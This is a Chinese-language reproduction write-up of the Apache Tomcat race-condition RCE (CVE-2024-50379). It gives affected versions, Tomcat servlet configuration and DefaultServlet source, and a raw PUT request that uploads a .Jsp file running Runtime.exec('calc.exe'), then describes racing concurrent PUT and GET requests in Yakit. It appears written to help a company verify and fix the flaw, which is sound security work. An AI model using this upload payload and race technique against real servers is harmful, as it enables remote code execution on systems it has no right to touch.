POC/wpoc/Apache/Apache-Tomcat条件竞争致远程代码执行漏洞(CVE-2024-50379).md

209 lines
7.7 KiB
Markdown
Raw Normal View History

2025-03-04 23:12:57 +08:00
# Apache-Tomcat条件竞争致远程代码执行漏洞(CVE-2024-50379)
最近爆出 Apache Tomcat条件竞争导致的RCE影响范围当然是巨大的公司也及时收到了相关情报于是老大让我复现以更好的帮助公司进行修复漏洞。
复现难度其实并不大但是成功率很低我在复现过程中也尝试了很多tomcat、java版本操作一样但结果不同相信很多师傅也在复现希望能够成功所以我对“成功率”进行了一点点研究希望能够提高师傅们复现成功的概率。
# 环境搭建
经过多次的尝试建议大家使用java8不要用太高的java版本 否则难以复现成功关注后台回复20241219可以获取跟我一样的漏洞复现环境和POC这里使用的环境如下
```
jre1.8.0_202
apache-tomcat-9.0.63
```
**windows虚拟机**
配置环境变量
这里一定要配置JAVA_HOME否则会报错
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105830.webp)
需要将这个版本的java的环境变量置顶防止其他版本的干扰大家应该都明白
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105783.webp)
配置CATALINA_BASE
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105591.webp)
这下环境变量就已经配置齐了 这个时候就已经可以正常启动tomcat了 运行这个批处理文件
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105836.webp)
启动成功(乱码无所谓的 web.xml改一下GBK即可
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105215.webp)
# 漏洞分析
影响版本
11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98
漏洞原理
首先来看看著名的**CVE-2017-12615**我们查看tomocat的配置 (conf/web.xml)
```
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
```
当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求此外交给default servlet进行处理请求。而我们查看**CVE-2017-12615**的payload可知它对文件后缀采取了一些绕过例如PUT一个1.jsp/、1.jsp空格、1.jsp%00从而绕过JSP servlet的限制让default servlet来处理请求。当default servlet处理PUT请求时如下图
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105069.webp)
```java
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
sendNotAllowed(req, resp);
return;
}
String path = getRelativePath(req);
WebResource resource = resources.getResource(path);
Range range = parseContentRange(req, resp);
if (range == null) {
// Processing error. parseContentRange() set the error code
return;
}
InputStream resourceInputStream = null;
try {
// Append data specified in ranges to existing content for this
// resource - create a temp. file on the local filesystem to
// perform this operation
// Assume just one range is specified for now
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}
if (resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException ioe) {
// Ignore
}
}
}
}
```
会去检查配置文件中的readonly的值是否为false如果是true的话就直接return也就是不允许put请求所以我们需要在配置文件中进行如下设置 (conf/web.cml) 注意是default servlet因为上面讲了我们最终处理put请求是default servlet
```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
最终就可以进行put上传shell了这个就是**CVE-2017-12615**。
那么再看看最近很火的CVE-2024-50379。原理是条件竞争通过并发put文件上传非标准后缀的“jsp”并不断发起get请求一个标准后最的“jsp”文件最终由于服务器的大小写不敏感导致请求成功造成RCE。
看看pyload是put一个xxx.Jsp也可以PUT html........),为什么长这样呢?阅读了上文,固然就明白了。 当然是要绕过jsp servlet的后缀匹配规则了然后让default servlet去处理请求。
现在我们尝试PUT一下 数据包如下
```
PUT /test.Jsp HTTP/1.1
Host: 192.168.19.135:8080
<% Runtime.getRuntime().exec("calc.exe");%>
```
返回状态码是201代表上传成功 可以去webapps/ROOT目录看到
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311105018.webp)
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106320.webp)
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106484.webp)
再次重放请求的时候就是204的状态码了  说明文件已经存在
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106218.webp)
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106369.webp)
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106865.webp)
# 漏洞复现
接下来开始复现该漏洞 我用的是window虚拟机 而不是真机,因为我电脑内存太大,可能效果不会很明显,毕竟要用到条件竞争,所以如果想成功率高一点建议用虚拟机,把内核、内存大小设置小一点。
yakit-发送到webFuzzer 发三个  get的并发线程建议大于前面两个
第一个
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106981.webp)
第二个
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106377.webp)
第三个 
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106855.webp)
开弹
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412311106630.webp)
在我虚拟机卡的时候往往容易成功 有时候直接用yakit就能成功有时候不行所以我同时用yakit和脚步一起打 
## 漏洞来源
- https://mp.weixin.qq.com/s/d7dneaUgF2TD2KGdT1qiQw